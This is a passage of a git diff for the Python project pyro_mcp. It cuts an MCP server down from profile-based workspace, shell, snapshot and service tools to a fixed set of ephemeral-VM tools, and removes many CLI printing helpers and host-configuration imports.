timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + timeout_seconds: int = 30, + ttl_seconds: int = 600, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.run_vm( environment=environment, @@ -576,835 +102,87 @@ class Pyro: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, - allow_host_compat=allow_host_compat, ) - def create_server( - self, - *, - profile: McpToolProfile = "workspace-core", - mode: WorkspaceUseCaseMode | None = None, - project_path: str | Path | None = None, - repo_url: str | None = None, - repo_ref: str | None = None, - no_project_source: bool = False, - ) -> FastMCP: - """Create an MCP server for one of the stable public tool profiles. - - `workspace-core` is the default stable chat-host profile in 4.x. Use - `profile="workspace-full"` only when the host truly needs the full - advanced workspace surface. By default, the server auto-detects the - nearest Git worktree root from its current working directory and uses - that source when `workspace_create` omits `seed_path`. `project_path`, - `repo_url`, and `no_project_source` override that behavior explicitly. - """ - normalized_profile = _validate_mcp_profile(profile) - normalized_mode = _validate_workspace_mode(mode) if mode is not None else None - if normalized_mode is not None and normalized_profile != "workspace-core": - raise ValueError("mode and profile are mutually exclusive") - startup_source = resolve_project_startup_source( - project_path=project_path, - repo_url=repo_url, - repo_ref=repo_ref, - no_project_source=no_project_source, - ) - enabled_tools = set( - _MODE_TOOLS[normalized_mode] - if normalized_mode is not None - else _PROFILE_TOOLS[normalized_profile] - ) + def create_server(self) -> FastMCP: server = FastMCP(name="pyro_mcp") - def _enabled(tool_name: str) -> bool: - return tool_name in enabled_tools - - if _enabled("vm_run"): - - @server.tool() - async def vm_run( - environment: str, - command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - ) -> dict[str, Any]: - """Create, start, execute, and clean up an ephemeral VM.""" - return self.run_in_vm( - environment=environment, - command=command, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - timeout_seconds=timeout_seconds, - ttl_seconds=ttl_seconds, - network=network, - allow_host_compat=allow_host_compat, - ) - - if _enabled("vm_list_environments"): - - @server.tool() - async def vm_list_environments() -> list[dict[str, object]]: - """List curated Linux environments and installation status.""" - return self.list_environments() - - if _enabled("vm_create"): - - @server.tool() - async def vm_create( - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - ) -> dict[str, Any]: - """Create an ephemeral VM record with environment and resource sizing.""" - return self.create_vm( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network=network, - allow_host_compat=allow_host_compat, - ) - - if _enabled("vm_start"): - - @server.tool() - async def vm_start(vm_id: str) -> dict[str, Any]: - """Start a created VM and transition it into a command-ready state.""" - return self.start_vm(vm_id) - - if _enabled("vm_exec"): - - @server.tool() - async def vm_exec( - vm_id: str, - command: str, - timeout_seconds: int = 30, - ) -> dict[str, Any]: - """Run one non-interactive command and auto-clean the VM.""" - return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) - - if _enabled("vm_stop"): - - @server.tool() - async def vm_stop(vm_id: str) -> dict[str, Any]: - """Stop a running VM.""" - return self.stop_vm(vm_id) - - if _enabled("vm_delete"): - - @server.tool() - async def vm_delete(vm_id: str) -> dict[str, Any]: - """Delete a VM and its runtime artifacts.""" - return self.delete_vm(vm_id) - - if _enabled("vm_status"): - - @server.tool() - async def vm_status(vm_id: str) -> dict[str, Any]: - """Get the current state and metadata for a VM.""" - return self.status_vm(vm_id) - - if _enabled("vm_network_info"): - - @server.tool() - async def vm_network_info(vm_id: str) -> dict[str, Any]: - """Get the current network configuration assigned to a VM.""" - return self.network_info_vm(vm_id) - - if _enabled("vm_reap_expired"): - - @server.tool() - async def vm_reap_expired() -> dict[str, Any]: - """Delete VMs whose TTL has expired.""" - return self.reap_expired() - - if _enabled("workspace_create"): - workspace_create_description = _workspace_create_description( - startup_source, - mode=normalized_mode, + @server.tool() + async def vm_run( + environment: str, + command: str, + vcpu_count: int, + mem_mib: int, + timeout_seconds: int = 30, + ttl_seconds: int = 600, + network: bool = False, + ) -> dict[str, Any]: + """Create, start, execute, and clean up an ephemeral VM.""" + return self.run_in_vm( + environment=environment, + command=command, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + timeout_seconds=timeout_seconds, + ttl_seconds=ttl_seconds, + network=network, ) - def _create_workspace_from_server_defaults( - *, - environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int, - network_policy: str, - allow_host_compat: bool, - seed_path: str | None, - secrets: list[dict[str, str]] | None, - name: str | None, - labels: dict[str, str] | None, - ) -> dict[str, Any]: - if seed_path is not None or startup_source is None: - return self.create_workspace( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=network_policy, - allow_host_compat=allow_host_compat, - seed_path=seed_path, - secrets=secrets, - name=name, - labels=labels, - ) - with materialize_project_startup_source(startup_source) as resolved_seed_path: - prepared_seed = self._manager._prepare_workspace_seed( # noqa: SLF001 - resolved_seed_path, - origin_kind=startup_source.kind, - origin_ref=startup_source.origin_ref, - ) - return self._manager.create_workspace( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=network_policy, - allow_host_compat=allow_host_compat, - secrets=secrets, - name=name, - labels=labels, - _prepared_seed=prepared_seed, - ) + @server.tool() + async def vm_list_environments() -> list[dict[str, object]]: + """List curated Linux environments and installation status.""" + return self.list_environments() - if normalized_mode is not None or normalized_profile == "workspace-core": - - @server.tool(name="workspace_create", description=workspace_create_description) - async def workspace_create_core( - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - seed_path: str | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> dict[str, Any]: - return _create_workspace_from_server_defaults( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=DEFAULT_WORKSPACE_NETWORK_POLICY, - allow_host_compat=allow_host_compat, - seed_path=seed_path, - secrets=None, - name=name, - labels=labels, - ) - - else: - - @server.tool(name="workspace_create", description=workspace_create_description) - async def workspace_create_full( - environment: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - ttl_seconds: int = DEFAULT_TTL_SECONDS, - network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - seed_path: str | None = None, - secrets: list[dict[str, str]] | None = None, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> dict[str, Any]: - return _create_workspace_from_server_defaults( - environment=environment, - vcpu_count=vcpu_count, - mem_mib=mem_mib, - ttl_seconds=ttl_seconds, - network_policy=network_policy, - allow_host_compat=allow_host_compat, - seed_path=seed_path, - secrets=secrets, - name=name, - labels=labels, - ) - - if _enabled("workspace_list"): - - @server.tool() - async def workspace_list() -> dict[str, Any]: - """List persisted workspaces with summary metadata.""" - return self.list_workspaces() - - if _enabled("workspace_update"): - - @server.tool() - async def workspace_update( - workspace_id: str, - name: str | None = None, - clear_name: bool = False, - labels: dict[str, str] | None = None, - clear_labels: list[str] | None = None, - ) -> dict[str, Any]: - """Update optional workspace name and labels.""" - return self.update_workspace( - workspace_id, - name=name, - clear_name=clear_name, - labels=labels, - clear_labels=clear_labels, - ) - - if _enabled("workspace_exec"): - if normalized_mode is not None or normalized_profile == "workspace-core": - - @server.tool( - name="workspace_exec", - description=_tool_description( - "workspace_exec", - mode=normalized_mode, - fallback="Run one command inside an existing persistent workspace.", - ), - ) - async def workspace_exec_core( - workspace_id: str, - command: str, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ) -> dict[str, Any]: - return self.exec_workspace( - workspace_id, - command=command, - timeout_seconds=timeout_seconds, - secret_env=None, - ) - - else: - - @server.tool( - name="workspace_exec", - description=_tool_description( - "workspace_exec", - mode=normalized_mode, - fallback="Run one command inside an existing persistent workspace.", - ), - ) - async def workspace_exec_full( - workspace_id: str, - command: str, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - return self.exec_workspace( - workspace_id, - command=command, - timeout_seconds=timeout_seconds, - secret_env=secret_env, - ) - - if _enabled("workspace_sync_push"): - - @server.tool() - async def workspace_sync_push( - workspace_id: str, - source_path: str, - dest: str = "/workspace", - ) -> dict[str, Any]: - """Push host content into the persistent `/workspace` of a started workspace.""" - return self.push_workspace_sync(workspace_id, source_path=source_path, dest=dest) - - if _enabled("workspace_status"): - - @server.tool() - async def workspace_status(workspace_id: str) -> dict[str, Any]: - """Inspect workspace state and latest command metadata.""" - return self.status_workspace(workspace_id) - - if _enabled("workspace_stop"): - - @server.tool() - async def workspace_stop(workspace_id: str) -> dict[str, Any]: - """Stop one persistent workspace without resetting `/workspace`.""" - return self.stop_workspace(workspace_id) - - if _enabled("workspace_start"): - - @server.tool() - async def workspace_start(workspace_id: str) -> dict[str, Any]: - """Start one stopped persistent workspace without resetting `/workspace`.""" - return self.start_workspace(workspace_id) - - if _enabled("workspace_logs"): - - @server.tool() - async def workspace_logs(workspace_id: str) -> dict[str, Any]: - """Return persisted command history for one workspace.""" - return self.logs_workspace(workspace_id) - - if _enabled("workspace_summary"): - - @server.tool( - description=_tool_description( - "workspace_summary", - mode=normalized_mode, - fallback="Summarize the current workspace session for human review.", - ) + @server.tool() + async def vm_create( + environment: str, + vcpu_count: int, + mem_mib: int, + ttl_seconds: int = 600, + network: bool = False, + ) -> dict[str, Any]: + """Create an ephemeral VM record with environment and resource sizing.""" + return self.create_vm( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network=network, ) - async def workspace_summary(workspace_id: str) -> dict[str, Any]: - return self.summarize_workspace(workspace_id) - if _enabled("workspace_export"): + @server.tool() + async def vm_start(vm_id: str) -> dict[str, Any]: + """Start a created VM and transition it into a command-ready state.""" + return self.start_vm(vm_id) - @server.tool( - description=_tool_description( - "workspace_export", - mode=normalized_mode, - fallback="Export one file or directory from `/workspace` back to the host.", - ) - ) - async def workspace_export( - workspace_id: str, - path: str, - output_path: str, - ) -> dict[str, Any]: - return self.export_workspace(workspace_id, path, output_path=output_path) + @server.tool() + async def vm_exec(vm_id: str, command: str, timeout_seconds: int = 30) -> dict[str, Any]: + """Run one non-interactive command and auto-clean the VM.""" + return self.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) - if _enabled("workspace_diff"): + @server.tool() + async def vm_stop(vm_id: str) -> dict[str, Any]: + """Stop a running VM.""" + return self.stop_vm(vm_id) - @server.tool() - async def workspace_diff(workspace_id: str) -> dict[str, Any]: - """Compare `/workspace` to the immutable create-time baseline.""" - return self.diff_workspace(workspace_id) + @server.tool() + async def vm_delete(vm_id: str) -> dict[str, Any]: + """Delete a VM and its runtime artifacts.""" + return self.delete_vm(vm_id) - if _enabled("workspace_file_list"): + @server.tool() + async def vm_status(vm_id: str) -> dict[str, Any]: + """Get the current state and metadata for a VM.""" + return self.status_vm(vm_id) - @server.tool( - description=_tool_description( - "workspace_file_list", - mode=normalized_mode, - fallback=( - "List metadata for files and directories under one " - "live workspace path." - ), - ) - ) - async def workspace_file_list( - workspace_id: str, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - return self.list_workspace_files( - workspace_id, - path=path, - recursive=recursive, - ) + @server.tool() + async def vm_network_info(vm_id: str) -> dict[str, Any]: + """Get the current network configuration assigned to a VM.""" + return self.network_info_vm(vm_id) - if _enabled("workspace_file_read"): - - @server.tool( - description=_tool_description( - "workspace_file_read", - mode=normalized_mode, - fallback="Read one regular text file from a live workspace path.", - ) - ) - async def workspace_file_read( - workspace_id: str, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - return self.read_workspace_file( - workspace_id, - path, - max_bytes=max_bytes, - ) - - if _enabled("workspace_file_write"): - - @server.tool( - description=_tool_description( - "workspace_file_write", - mode=normalized_mode, - fallback="Create or replace one regular text file under `/workspace`.", - ) - ) - async def workspace_file_write( - workspace_id: str, - path: str, - text: str, - ) -> dict[str, Any]: - return self.write_workspace_file( - workspace_id, - path, - text=text, - ) - - if _enabled("workspace_patch_apply"): - - @server.tool( - description=_tool_description( - "workspace_patch_apply", - mode=normalized_mode, - fallback="Apply a unified text patch inside one live workspace.", - ) - ) - async def workspace_patch_apply( - workspace_id: str, - patch: str, - ) -> dict[str, Any]: - return self.apply_workspace_patch( - workspace_id, - patch=patch, - ) - - if _enabled("workspace_disk_export"): - - @server.tool() - async def workspace_disk_export( - workspace_id: str, - output_path: str, - ) -> dict[str, Any]: - """Export the raw stopped workspace rootfs image to one host path.""" - return self.export_workspace_disk(workspace_id, output_path=output_path) - - if _enabled("workspace_disk_list"): - - @server.tool() - async def workspace_disk_list( - workspace_id: str, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - """Inspect one stopped workspace rootfs path without booting the guest.""" - return self.list_workspace_disk( - workspace_id, - path=path, - recursive=recursive, - ) - - if _enabled("workspace_disk_read"): - - @server.tool() - async def workspace_disk_read( - workspace_id: str, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - """Read one regular file from a stopped workspace rootfs offline.""" - return self.read_workspace_disk( - workspace_id, - path, - max_bytes=max_bytes, - ) - - if _enabled("snapshot_create"): - - @server.tool() - async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: - """Create one named workspace snapshot from the current `/workspace` tree.""" - return self.create_snapshot(workspace_id, snapshot_name) - - if _enabled("snapshot_list"): - - @server.tool() - async def snapshot_list(workspace_id: str) -> dict[str, Any]: - """List the baseline plus named snapshots for one workspace.""" - return self.list_snapshots(workspace_id) - - if _enabled("snapshot_delete"): - - @server.tool() - async def snapshot_delete(workspace_id: str, snapshot_name: str) -> dict[str, Any]: - """Delete one named snapshot from a workspace.""" - return self.delete_snapshot(workspace_id, snapshot_name) - - if _enabled("workspace_reset"): - - @server.tool() - async def workspace_reset( - workspace_id: str, - snapshot: str = "baseline", - ) -> dict[str, Any]: - """Recreate a workspace and restore `/workspace` from one snapshot.""" - return self.reset_workspace(workspace_id, snapshot=snapshot) - - if _enabled("shell_open"): - if normalized_mode == "review-eval": - - @server.tool( - description=_tool_description( - "shell_open", - mode=normalized_mode, - fallback="Open a persistent interactive shell inside one workspace.", - ) - ) - async def shell_open( - workspace_id: str, - cwd: str = "/workspace", - cols: int = 120, - rows: int = 30, - ) -> dict[str, Any]: - return self.open_shell( - workspace_id, - cwd=cwd, - cols=cols, - rows=rows, - secret_env=None, - ) - - else: - - @server.tool( - description=_tool_description( - "shell_open", - mode=normalized_mode, - fallback="Open a persistent interactive shell inside one workspace.", - ) - ) - async def shell_open( - workspace_id: str, - cwd: str = "/workspace", - cols: int = 120, - rows: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - return self.open_shell( - workspace_id, - cwd=cwd, - cols=cols, - rows=rows, - secret_env=secret_env, - ) - - if _enabled("shell_read"): - - @server.tool( - description=_tool_description( - "shell_read", - mode=normalized_mode, - fallback="Read merged PTY output from a workspace shell.", - ) - ) - async def shell_read( - workspace_id: str, - shell_id: str, - cursor: int = 0, - max_chars: int = 65536, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - return self.read_shell( - workspace_id, - shell_id, - cursor=cursor, - max_chars=max_chars, - plain=plain, - wait_for_idle_ms=wait_for_idle_ms, - ) - - if _enabled("shell_write"): - - @server.tool( - description=_tool_description( - "shell_write", - mode=normalized_mode, - fallback="Write text input to a persistent workspace shell.", - ) - ) - async def shell_write( - workspace_id: str, - shell_id: str, - input: str, - append_newline: bool = True, - ) -> dict[str, Any]: - return self.write_shell( - workspace_id, - shell_id, - input=input, - append_newline=append_newline, - ) - - if _enabled("shell_signal"): - - @server.tool( - description=_tool_description( - "shell_signal", - mode=normalized_mode, - fallback="Send a signal to the shell process group.", - ) - ) - async def shell_signal( - workspace_id: str, - shell_id: str, - signal_name: str = "INT", - ) -> dict[str, Any]: - return self.signal_shell( - workspace_id, - shell_id, - signal_name=signal_name, - ) - - if _enabled("shell_close"): - - @server.tool( - description=_tool_description( - "shell_close", - mode=normalized_mode, - fallback="Close a persistent workspace shell.", - ) - ) - async def shell_close(workspace_id: str, shell_id: str) -> dict[str, Any]: - return self.close_shell(workspace_id, shell_id) - - if _enabled("service_start"): - if normalized_mode == "cold-start": - - @server.tool( - description=_tool_description( - "service_start", - mode=normalized_mode, - fallback="Start a named long-running service inside a workspace.", - ) - ) - async def service_start( - workspace_id: str, - service_name: str, - command: str, - cwd: str = "/workspace", - ready_file: str | None = None, - ready_tcp: str | None = None, - ready_http: str | None = None, - ready_command: str | None = None, - ready_timeout_seconds: int = 30, - ready_interval_ms: int = 500, - ) -> dict[str, Any]: - readiness: dict[str, Any] | None = None - if ready_file is not None: - readiness = {"type": "file", "path": ready_file} - elif ready_tcp is not None: - readiness = {"type": "tcp", "address": ready_tcp} - elif ready_http is not None: - readiness = {"type": "http", "url": ready_http} - elif ready_command is not None: - readiness = {"type": "command", "command": ready_command} - return self.start_service( - workspace_id, - service_name, - command=command, - cwd=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - secret_env=None, - published_ports=None, - ) - - else: - - @server.tool( - description=_tool_description( - "service_start", - mode=normalized_mode, - fallback="Start a named long-running service inside a workspace.", - ) - ) - async def service_start( - workspace_id: str, - service_name: str, - command: str, - cwd: str = "/workspace", - ready_file: str | None = None, - ready_tcp: str | None = None, - ready_http: str | None = None, - ready_command: str | None = None, - ready_timeout_seconds: int = 30, - ready_interval_ms: int = 500, - secret_env: dict[str, str] | None = None, - published_ports: list[dict[str, int | None]] | None = None, - ) -> dict[str, Any]: - readiness: dict[str, Any] | None = None - if ready_file is not None: - readiness = {"type": "file", "path": ready_file} - elif ready_tcp is not None: - readiness = {"type": "tcp", "address": ready_tcp} - elif ready_http is not None: - readiness = {"type": "http", "url": ready_http} - elif ready_command is not None: - readiness = {"type": "command", "command": ready_command} - return self.start_service( - workspace_id, - service_name, - command=command, - cwd=cwd, - readiness=readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - secret_env=secret_env, - published_ports=published_ports, - ) - - if _enabled("service_list"): - - @server.tool( - description=_tool_description( - "service_list", - mode=normalized_mode, - fallback="List named services in one workspace.", - ) - ) - async def service_list(workspace_id: str) -> dict[str, Any]: - return self.list_services(workspace_id) - - if _enabled("service_status"): - - @server.tool( - description=_tool_description( - "service_status", - mode=normalized_mode, - fallback="Inspect one named workspace service.", - ) - ) - async def service_status(workspace_id: str, service_name: str) -> dict[str, Any]: - return self.status_service(workspace_id, service_name) - - if _enabled("service_logs"): - - @server.tool( - description=_tool_description( - "service_logs", - mode=normalized_mode, - fallback="Read persisted stdout/stderr for one workspace service.", - ) - ) - async def service_logs( - workspace_id: str, - service_name: str, - tail_lines: int = 200, - all: bool = False, - ) -> dict[str, Any]: - return self.logs_service( - workspace_id, - service_name, - tail_lines=tail_lines, - all=all, - ) - - if _enabled("service_stop"): - - @server.tool( - description=_tool_description( - "service_stop", - mode=normalized_mode, - fallback="Stop one running service in a workspace.", - ) - ) - async def service_stop(workspace_id: str, service_name: str) -> dict[str, Any]: - return self.stop_service(workspace_id, service_name) - - if _enabled("workspace_delete"): - - @server.tool() - async def workspace_delete(workspace_id: str) -> dict[str, Any]: - """Delete a persistent workspace and its backing sandbox.""" - return self.delete_workspace(workspace_id) + @server.tool() + async def vm_reap_expired() -> dict[str, Any]: + """Delete VMs whose TTL has expired.""" + return self.reap_expired() return server diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 79eb3a9..71c13f0 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -4,2721 +4,62 @@ from __future__ import annotations import argparse import json -import shlex -import sys -from pathlib import Path -from textwrap import dedent -from typing import Any, cast +from typing import Any from pyro_mcp import __version__ -from pyro_mcp.api import McpToolProfile, Pyro, WorkspaceUseCaseMode -from pyro_mcp.contract import PUBLIC_MCP_MODES, PUBLIC_MCP_PROFILES -from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT +from pyro_mcp.api import Pyro from pyro_mcp.demo import run_demo -from pyro_mcp.host_helpers import ( - HostDoctorEntry, - HostServerConfig, - connect_cli_host, - doctor_hosts, - print_or_write_opencode_config, - repair_host, -) from pyro_mcp.ollama_demo import DEFAULT_OLLAMA_BASE_URL, DEFAULT_OLLAMA_MODEL, run_ollama_tool_demo from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION -from pyro_mcp.vm_manager import ( - DEFAULT_MEM_MIB, - DEFAULT_SERVICE_LOG_TAIL_LINES, - DEFAULT_SERVICE_READY_INTERVAL_MS, - DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, - DEFAULT_VCPU_COUNT, - DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, - DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, - WORKSPACE_GUEST_PATH, - WORKSPACE_SHELL_SIGNAL_NAMES, -) def _print_json(payload: dict[str, Any]) -> None: print(json.dumps(payload, indent=2, sort_keys=True)) -def _print_id_only(value: object) -> None: - print(str(value), flush=True) - - -def _write_stream(text: str, *, stream: Any) -> None: - if text == "": - return - stream.write(text) - stream.flush() - - -def _print_read_content(text: str, *, content_only: bool) -> None: - _write_stream(text, stream=sys.stdout) - if not content_only and text != "" and not text.endswith("\n"): - _write_stream("\n", stream=sys.stdout) - - -def _print_run_human(payload: dict[str, Any]) -> None: - stdout = str(payload.get("stdout", "")) - stderr = str(payload.get("stderr", "")) - _write_stream(stdout, stream=sys.stdout) - _write_stream(stderr, stream=sys.stderr) - print( - "[run] " - f"environment={str(payload.get('environment', 'unknown'))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " - f"exit_code={int(payload.get('exit_code', 1))} " - f"duration_ms={int(payload.get('duration_ms', 0))}", - file=sys.stderr, - flush=True, - ) - - -def _print_phase(prefix: str, *, phase: str, **fields: object) -> None: - details = " ".join(f"{key}={value}" for key, value in fields.items()) - suffix = f" {details}" if details else "" - print(f"[{prefix}] phase={phase}{suffix}", file=sys.stderr, flush=True) - - -def _print_env_list_human(payload: dict[str, Any]) -> None: - print(f"Catalog version: {payload.get('catalog_version', 'unknown')}") - environments = payload.get("environments") - if not isinstance(environments, list) or not environments: - print("No environments found.") - return - for entry in environments: - if not isinstance(entry, dict): - continue - status = "installed" if bool(entry.get("installed")) else "not installed" - print( - f"{str(entry.get('name', 'unknown'))} [{status}] " - f"{str(entry.get('description', '')).strip()}".rstrip() - ) - - -def _print_env_detail_human(payload: dict[str, Any], *, action: str) -> None: - print(f"{action}: {str(payload.get('name', 'unknown'))}") - print(f"Version: {str(payload.get('version', 'unknown'))}") - print( - f"Distribution: {str(payload.get('distribution', 'unknown'))} " - f"{str(payload.get('distribution_version', 'unknown'))}" - ) - print(f"Installed: {'yes' if bool(payload.get('installed')) else 'no'}") - print(f"Cache dir: {str(payload.get('cache_dir', 'unknown'))}") - packages = payload.get("default_packages") - if isinstance(packages, list) and packages: - print("Default packages: " + ", ".join(str(item) for item in packages)) - description = str(payload.get("description", "")).strip() - if description != "": - print(f"Description: {description}") - if payload.get("installed"): - print(f"Install dir: {str(payload.get('install_dir', 'unknown'))}") - install_manifest = payload.get("install_manifest") - if install_manifest is not None: - print(f"Install manifest: {str(install_manifest)}") - kernel_image = payload.get("kernel_image") - if kernel_image is not None: - print(f"Kernel image: {str(kernel_image)}") - rootfs_image = payload.get("rootfs_image") - if rootfs_image is not None: - print(f"Rootfs image: {str(rootfs_image)}") - registry = payload.get("oci_registry") - repository = payload.get("oci_repository") - reference = payload.get("oci_reference") - if isinstance(registry, str) and isinstance(repository, str) and isinstance(reference, str): - print(f"OCI source: {registry}/{repository}:{reference}") - - -def _print_prune_human(payload: dict[str, Any]) -> None: - count = int(payload.get("count", 0)) - print(f"Deleted {count} cached environment entr{'y' if count == 1 else 'ies'}.") - deleted = payload.get("deleted_environment_dirs") - if isinstance(deleted, list): - for entry in deleted: - print(f"- {entry}") - - -def _print_doctor_human(payload: dict[str, Any]) -> None: - issues = payload.get("issues") - runtime_ok = bool(payload.get("runtime_ok")) - print(f"Platform: {str(payload.get('platform', 'unknown'))}") - print(f"Runtime: {'PASS' if runtime_ok else 'FAIL'}") - kvm = payload.get("kvm") - if isinstance(kvm, dict): - print( - "KVM: " - f"exists={'yes' if bool(kvm.get('exists')) else 'no'} " - f"readable={'yes' if bool(kvm.get('readable')) else 'no'} " - f"writable={'yes' if bool(kvm.get('writable')) else 'no'}" - ) - runtime = payload.get("runtime") - if isinstance(runtime, dict): - print(f"Catalog version: {str(runtime.get('catalog_version', 'unknown'))}") - print(f"Environment cache: {str(runtime.get('cache_dir', 'unknown'))}") - capabilities = runtime.get("capabilities") - if isinstance(capabilities, dict): - print( - "Capabilities: " - f"vm_boot={'yes' if bool(capabilities.get('supports_vm_boot')) else 'no'} " - f"guest_exec={'yes' if bool(capabilities.get('supports_guest_exec')) else 'no'} " - "guest_network=" - f"{'yes' if bool(capabilities.get('supports_guest_network')) else 'no'}" - ) - networking = payload.get("networking") - if isinstance(networking, dict): - print( - "Networking: " - f"tun={'yes' if bool(networking.get('tun_available')) else 'no'} " - f"ip_forward={'yes' if bool(networking.get('ip_forward_enabled')) else 'no'}" - ) - daily_loop = payload.get("daily_loop") - if isinstance(daily_loop, dict): - status = str(daily_loop.get("status", "cold")).upper() - environment = str(daily_loop.get("environment", DEFAULT_PREPARE_ENVIRONMENT)) - print(f"Daily loop: {status} ({environment})") - print( - " " - f"installed={'yes' if bool(daily_loop.get('installed')) else 'no'} " - f"network_prepared={'yes' if bool(daily_loop.get('network_prepared')) else 'no'}" - ) - prepared_at = daily_loop.get("prepared_at") - if prepared_at is not None: - print(f" prepared_at={prepared_at}") - reason = daily_loop.get("reason") - if isinstance(reason, str) and reason != "": - print(f" reason={reason}") - if str(daily_loop.get("status", "cold")) != "warm": - print(f" Run: pyro prepare {environment}") - if isinstance(issues, list) and issues: - print("Issues:") - for issue in issues: - print(f"- {issue}") - - -def _print_prepare_human(payload: dict[str, Any]) -> None: - environment = str(payload.get("environment", DEFAULT_PREPARE_ENVIRONMENT)) - status = str(payload.get("status", "cold")).upper() - print(f"Prepare: {environment}") - print(f"Daily loop: {status}") - print( - "Result: " - f"{'reused' if bool(payload.get('reused')) else 'prepared'} " - f"network_prepared={'yes' if bool(payload.get('network_prepared')) else 'no'}" - ) - print(f"Cache dir: {str(payload.get('cache_dir', 'unknown'))}") - print(f"Manifest: {str(payload.get('manifest_path', 'unknown'))}") - prepared_at = payload.get("prepared_at") - if prepared_at is not None: - print(f"Prepared at: {prepared_at}") - print(f"Duration: {int(payload.get('last_prepare_duration_ms', 0))} ms") - reason = payload.get("reason") - if isinstance(reason, str) and reason != "": - print(f"Reason: {reason}") - - -def _build_host_server_config(args: argparse.Namespace) -> HostServerConfig: - return HostServerConfig( - installed_package=bool(getattr(args, "installed_package", False)), - profile=cast(McpToolProfile, str(getattr(args, "profile", "workspace-core"))), - mode=cast(WorkspaceUseCaseMode | None, getattr(args, "mode", None)), - project_path=getattr(args, "project_path", None), - repo_url=getattr(args, "repo_url", None), - repo_ref=getattr(args, "repo_ref", None), - no_project_source=bool(getattr(args, "no_project_source", False)), - ) - - -def _print_host_connect_human(payload: dict[str, Any]) -> None: - host = str(payload.get("host", "unknown")) - server_command = payload.get("server_command") - verification_command = payload.get("verification_command") - print(f"Connected pyro to {host}.") - if isinstance(server_command, list): - print("Server command: " + shlex.join(str(item) for item in server_command)) - if isinstance(verification_command, list): - print("Verify with: " + shlex.join(str(item) for item in verification_command)) - - -def _print_host_print_config_human(payload: dict[str, Any]) -> None: - rendered_config = payload.get("rendered_config") - if isinstance(rendered_config, str): - _write_stream(rendered_config, stream=sys.stdout) - return - output_path = payload.get("output_path") - if isinstance(output_path, str): - print(f"Wrote OpenCode config to {output_path}") - - -def _print_host_repair_human(payload: dict[str, Any]) -> None: - host = str(payload.get("host", "unknown")) - if host == "opencode": - print(f"Repaired OpenCode config at {str(payload.get('config_path', 'unknown'))}.") - backup_path = payload.get("backup_path") - if isinstance(backup_path, str): - print(f"Backed up the previous config to {backup_path}.") - return - _print_host_connect_human(payload) - - -def _print_host_doctor_human(entries: list[HostDoctorEntry]) -> None: - for index, entry in enumerate(entries): - print( - f"{entry.host}: {entry.status} " - f"installed={'yes' if entry.installed else 'no'} " - f"configured={'yes' if entry.configured else 'no'}" - ) - print(f" details: {entry.details}") - print(f" repair: {entry.repair_command}") - if index != len(entries) - 1: - print() - - -def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> None: - print(f"{action} ID: {str(payload.get('workspace_id', 'unknown'))}") - name = payload.get("name") - if isinstance(name, str) and name != "": - print(f"Name: {name}") - labels = 